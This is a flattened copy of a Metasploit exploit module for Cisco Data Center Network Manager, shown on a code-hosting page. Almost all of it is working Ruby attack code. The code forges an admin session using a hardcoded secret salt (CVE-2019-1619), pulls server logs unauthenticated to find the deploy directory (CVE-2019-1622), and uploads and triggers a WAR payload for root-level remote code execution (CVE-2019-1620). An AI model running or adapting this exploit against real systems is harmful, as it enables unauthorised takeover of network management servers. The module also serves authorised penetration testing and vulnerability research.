Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(update_info(info,14'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution',15'Description' => %q{16DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.17An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps18directory and achieve remote code execution as root.19This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on20versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct21directory for the WAR file upload.22This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should23work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit24(see References to understand why).25},26'Author' =>27[28'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module29],30'License' => MSF_LICENSE,31'References' =>32[33[ 'CVE', '2019-1619' ], # auth bypass34[ 'CVE', '2019-1620' ], # file upload35[ 'CVE', '2019-1622' ], # log download36[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],37[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],38[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-dcnm-rce.txt' ],39[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]40],41'Platform' => 'java',42'Arch' => ARCH_JAVA,43'Targets' =>44[45[ 'Automatic', {} ],46[47'Cisco DCNM 11.1(1)', {}48],49[50'Cisco DCNM 11.0(1)', {}51],52[53'Cisco DCNM 10.4(2)', {}54]55],56'Privileged' => true,57'DefaultOptions' => { 'WfsDelay' => 10 },58'DefaultTarget' => 0,59'DisclosureDate' => '2019-06-26'60))6162register_options(63[64Opt::RPORT(443),65OptBool.new('SSL', [true, 'Connect with TLS', true]),66OptString.new('TARGETURI', [true, "Default server path", '/']),67OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']),68OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']),69])70end7172def check73# at the moment this is the best way to detect74# check if pmreport and fileUpload servlets return a 500 error with no params75res = send_request_cgi(76'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),77'vars_get' =>78{79'token' => rand_text_alpha(5..20)80},81'method' => 'GET'82)83if res && res.code == 50084res = send_request_cgi(85'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),86'method' => 'GET',87)88if res && res.code == 50089return CheckCode::Detected90end91end9293CheckCode::Unknown94end9596def target_select97if target != targets[0]98return target99else100res = send_request_cgi(101'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),102'method' => 'GET'103)104if res && res.code == 200105if res.body.include?('version":"11.1(1)')106print_good("#{peer} - Detected DCNM 11.1(1)")107print_status("#{peer} - No authentication required, ready to exploit!")108return targets[1]109elsif res.body.include?('version":"11.0(1)')110print_good("#{peer} - Detected DCNM 11.0(1)")111print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")112return targets[2]113elsif res.body.include?('version":"10.4(2)')114print_good("#{peer} - Detected DCNM 10.4(2)")115print_status("#{peer} - No authentication required, ready to exploit!")116return targets[3]117else118print_error("#{peer} - Failed to detect target version.")119print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")120print_error(res.body)121print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass")122return targets[3]123end124end125fail_with(Failure::NoTarget, "#{peer} - Failed to determine target")126end127end128129def auth_v11130res = send_request_cgi(131'uri' => normalize_uri(target_uri.path, 'fm/'),132'method' => 'GET',133'vars_get' =>134{135'userName' => datastore['USERNAME'],136'password' => datastore['PASSWORD']137},138)139140if res && res.code == 200141# get the JSESSIONID cookie142if res.get_cookies143res.get_cookies.split(';').each do |cok|144if cok.include?("JSESSIONID")145return cok146end147end148end149end150end151152def auth_v10153# step 1: get a JSESSIONID cookie and the server Date header154res = send_request_cgi(155'uri' => normalize_uri(target_uri.path, 'fm/'),156'method' => 'GET'157)158159# step 2: convert the Date header and create the auth hash160if res && res.headers['Date']161jsession = res.get_cookies.split(';')[0]162date = Time.httpdate(res.headers['Date'])163server_date = date.strftime("%s").to_i * 1000164print_good("#{peer} - Got sysTime value #{server_date.to_s}")165166# auth hash format:167# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF168session_id = rand(1000..50000).to_s169md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +170"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"171md5_str = Base64.strict_encode64(md5)172173# step 3: authenticate our cookie as admin174# token format: sessionId.sysTime.md5_str.username175res = send_request_cgi(176'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),177'cookie' => jsession,178'vars_get' =>179{180'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"181},182'method' => 'GET'183)184185if res && res.code == 500186return jsession187end188end189end190191# use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log192def get_war_path193res = send_request_cgi(194'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),195'method' => 'GET'196)197198if res && res.code == 200199tmp = Tempfile.new200# we have to drop this into a file first201# else we will get a Zip::GPFBit3Error if we use an InputStream202File.binwrite(tmp, res.body)203Zip::File.open(tmp) do |zis|204zis.each do |entry|205if entry.name =~ /jboss[0-9]*\.log/206fdata = zis.read(entry)207if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.: ]+)/]208tmp.close209tmp.unlink210return $1.strip211end212end213end214end215end216end217218219def exploit220target = target_select221222if target == targets[2]223jsession = auth_v11224elsif target == targets[3]225jsession = auth_v10226end227228# targets[1] DCNM 11.1(1) doesn't need auth!229if jsession.nil? && target != targets[1]230fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")231elsif target != targets[1]232print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")233end234235war_path = get_war_path236if war_path.nil? or war_path.empty?237fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs")238else239print_good("#{peer} - Obtain WAR path from logs: #{war_path}")240end241242# Generate our payload... and upload it243app_base = rand_text_alphanumeric(6..16)244war_payload = payload.encoded_war({ :app_name => app_base }).to_s245246fname = app_base + '.war'247post_data = Rex::MIME::Message.new248post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"")249post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"")250post_data.add_part(war_payload,251"application/octet-stream", 'binary',252"form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"")253data = post_data.to_s254255print_status("#{peer} - Uploading payload...")256res = send_request_cgi(257'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),258'method' => 'POST',259'data' => data,260'cookie' => jsession,261'ctype' => "multipart/form-data; boundary=#{post_data.bound}"262)263264if res && res.code == 200 && res.body[/#{fname}/]265print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...")266267sleep 10268269print_status("#{peer} - Executing payload...")270send_request_cgi(271'uri' => normalize_uri(target_uri.path, app_base),272'method' => 'GET'273)274else275fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file")276end277end278end279280281